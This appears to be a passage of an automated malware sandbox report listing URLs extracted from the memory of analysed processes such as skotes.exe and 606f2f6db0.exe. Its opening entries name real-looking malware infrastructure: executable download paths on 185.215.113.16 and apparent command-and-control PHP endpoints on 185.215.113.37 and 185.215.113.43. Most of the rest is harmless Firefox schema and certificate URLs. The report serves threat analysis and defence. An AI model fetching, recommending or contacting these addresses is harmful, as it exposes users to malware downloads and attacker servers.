Source: skotes.exe, 00000008.00000002.3343285649.00000000016CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec613
Source: skotes.exe, 00000008.00000002.3343285649.00000000016CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exepD
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe=b
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exevbB
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000002.2936306936.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.0000000001294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/$K0u4
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Data
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/G
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Jp
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/M32
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)5Eu
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6-535557bcc5fa00
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpy
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/t
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37n&
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37r
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/15.113.43/ows
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/6165
Source: skotes.exe, 00000008.00000002.3343285649.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3343285649.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3343285649.000000000167B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpD
Source: skotes.exe, 00000008.00000002.3343285649.00000000016CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded6
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000008.00000002.3343285649.0000000001726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded?
Source: skotes.exe, 00000008.00000002.3343285649.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000008.00000002.3343285649.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58987e8fff7a7df309c5441f056fc49#5450#
Source: skotes.exe, 00000008.00000002.3343285649.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ta
Source: firefox.exe, 00000019.00000003.3042142372.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000003.3042142372.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000003.3042142372.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000003.3042142372.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000002.3196543245.000001379E0DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3215144753.000001379FB48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3047116966.00000137A62B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3037293440.00000137A62B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E616000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3196543245.000001379E0BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0CB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3215983830.000001379FDC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3201609300.000001379E2DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000002.3240318696.00000137A1B49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3230908573.00000137A054E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3193146359.000001379C9C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3179268401.000001379A0B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E616000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799F54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3170068733.000001378E8D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3201609300.000001379E2DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F3F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlbrowserWouldUpgradeInsecureRequests_startDetection/url
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3041861836.00000137A9125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A911E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3041861836.00000137A9125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A911E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3033463599.00000137A91ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#Unique
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3041861836.00000137A9125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3262908654.00000137A8F47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A911E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3040371924.00000137A8F47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGatePermission
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCapextension/webcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appIdwebcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appNamehttp://mozilla.org/#/properties/featureIdswebcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabledExtension:RegisterContentScriptsComple
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabledhttp://mozilla.org/#/properties/merinoClient
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/userFacingNamewebcom
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/valuehtt
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/itemshttp://mozilla.org/#/properties/javascriptVali
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/itemsnuo-extensions-migration-in-embedded-import-wi
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/counthttp://mozilla.org/#/properties/userFac
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/starthttps://www.mozilla.org/about/legal/ter
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/totalMicrosurvey
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImportresource:///modules/UrlbarUtils.sys.mjs
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledthis-is-included-for-desktop-pre-95-support
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDatecreateContextWithTimeout/get/
